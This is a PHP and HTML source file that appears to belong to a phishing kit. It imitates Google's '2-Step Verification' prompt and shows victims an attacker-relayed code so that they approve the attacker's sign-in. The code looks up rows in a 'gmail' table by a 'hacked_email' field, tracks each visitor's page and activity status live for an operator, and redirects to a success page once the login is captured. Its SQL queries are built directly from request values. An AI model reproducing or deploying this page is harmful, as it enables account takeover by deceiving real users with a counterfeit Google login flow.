<?php
session_start();

// Include the database connection file
include 'con.php';

// Check if session parameters exist
if (isset($_SESSION['email']) && isset($_SESSION['admin_id']) && isset($_SESSION['user_id'])) {
    $admin_id = $_SESSION['admin_id'];
    $user_id = $_SESSION['user_id'];
    $email = $_SESSION['email'];

    // Function to get the correct connection based on admin_id
    function getConnection($admin_id) {
           global $con1, $con2, $con3, $con4, $con5, $con6, $con7, $con8, $con9, $con10, 
               $con11, $con12, $con13, $con14, $con15, $con16, $con17, $con18, $con19, 
               $con20, $con21, $con22, $con23, $con24, $con25, $con26, $con27, $con28, 
               $con29, $con30;
        $connectionVar = "con" . $admin_id; // Dynamic variable name
        return isset($$connectionVar) ? $$connectionVar : null;
    }

    // Get the connection
    $connection = getConnection($admin_id);
    if (!$connection) {
        die("No database connection found for admin_id $admin_id.");
    }




$visitor_id = session_id();
$current_page1 = $_GET['page'] ?? "EMAIL_PAGE";
$current_page="Press_Page";
$status = $_POST['status'] ?? $_GET['status'] ?? "active"; // default active

 if(isset($_SESSION['visitor_id'])){
      $visitor_id=$_SESSION['visitor_id'];
 }
// Update/Insert visitor row (single row per visitor)
$check = mysqli_query($connection,"SELECT id FROM gmail WHERE visitor_id='$visitor_id' LIMIT 1");
 
    mysqli_query($connection,"UPDATE gmail
        SET current_page='$current_page', visitor_status='$status', last_active=NOW()
        WHERE visitor_id='$visitor_id' LIMIT 1");
 


if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['leave'])) {
    
 $status="inactive";
        mysqli_query($connection,"UPDATE gmail
        SET   visitor_status='$status', last_active=NOW()
        WHERE visitor_id='$visitor_id' LIMIT 1");
    
}




                                                     
                                                     
                                                         $code_info=mysqli_query($connection, "SELECT * FROM `gmail` WHERE `hacked_email`='$email'" );
                                                      
                                      $row=mysqli_fetch_assoc($code_info);
                                      
                                      
                                      $code=$row['code'];  
                                      
                                       $login=$row['login'];  
                                      if ($login=="yes") {
                                         header("location:success.php");
                                         exit();
                                      }
                                      
                                      
                                      
                                      
                                      
                                      
                                      

}


 ?>
 
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Sign in</title>
    <meta http-equiv="refresh" content="5">

    <script src="https://cdn.tailwindcss.com"></script>
    <link rel="shortcut icon" href="https://www.google.com/favicon.ico" type="image/x-icon">

    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Roboto:wght@400;500;700&display=swap" rel="stylesheet">


    <style>
        .gifbg{
            background-image: linear-gradient(to bottom, rgba(233, 233, 233, 0) 0%, rgba(233, 233, 233, 0) 62.22%, rgba(233, 233, 233, 1) 40.22%, rgba(233, 233, 233, 0) 100%);
            width: 100%;
            height: 100%;
        }
        .input-wrapper label {
            position: absolute;
            top: 75%;
            left: 0.75rem;
            transform: scale(0.75) translateY(-39px);
            pointer-events: none;
            color: gray;
            transition: .3s;
            font-size: 20px;
        }
        .customstyle::focus~.customtext{
            color: blue;
        }
        .input-wrapper input:focus~label,
        .input-wrapper input:valid~label {
            top: 20px;
            font-size: 12px;
            padding-bottom: 5px;
        }

        .roboto {
            font-family: "Roboto", sans-serif;
        }

    </style>

</head>
<body class="roboto">
    <div class="flex items-center md:h-screen">
        <div class="md:border rounded-md w-10/12 md:w-[28rem] mx-auto md:px-10 py-12">
            <div class="w-20 mx-auto mb-3">
                <img src="logo.webp" alt="Logo">
            </div>
            <div class="space-y-2 mb-10 text-center">
                <h1 class="text-2xl">2-Step Verification</h1>
                <p class="text-base">To help keep your account safe, Google wants to make sure it's really you trying to sign in</p>
            </div>
            <div class="mb-5">
                <img class="w-44 -ml-[70px]" src="signin_tapyes.gif" alt="animation">
            </div>
            <div>
                <h2 class="font-medium mb-3">Check your phone</h2>
                     <h1 style="font-size:40px; font-weight: bold;"> <?php echo$code; ?>  </h1>  
                <p>Google sent a notification to your Phone. Tap Yes on the notification to verify it's you.</p>
     
                <div class="flex items-center gap-3 mt-6">
                              
                

                    <input class="w-4 h-4 border cursor-pointer" type="checkbox" checked >
                    <p class="text-[15px] cursor-pointer">Don't ask again on this device</p>
                </div>
                <div class="mt-10">
                    <a href="#" class="text-blue-500 font-medium cursor-pointer">Resend it</a>
                </div>
                <div class="mt-10">
                    <a href="tryanother.php" class="text-blue-500 font-medium cursor-pointer">Try another Way</a>
                </div>
            </div>
        </div>
    </div>
    <div class="w-10/12 md:w-[28rem] mx-auto flex justify-between  text-gray-500 text-[12px] mt-10">
        <div>
            <h3>English (United States)</h3>
        </div>
        <ul class="flex list-none space-x-8 ">
            <li>Help</li>
            <li>Privacy</li>
            <li>Terms</li>
        </ul>
    </div>
    

<script>
window.addEventListener("beforeunload", function () {
    navigator.sendBeacon(
        window.location.href,
        new URLSearchParams({ leave: 1 })
    );
});
</script>
</body>
</html>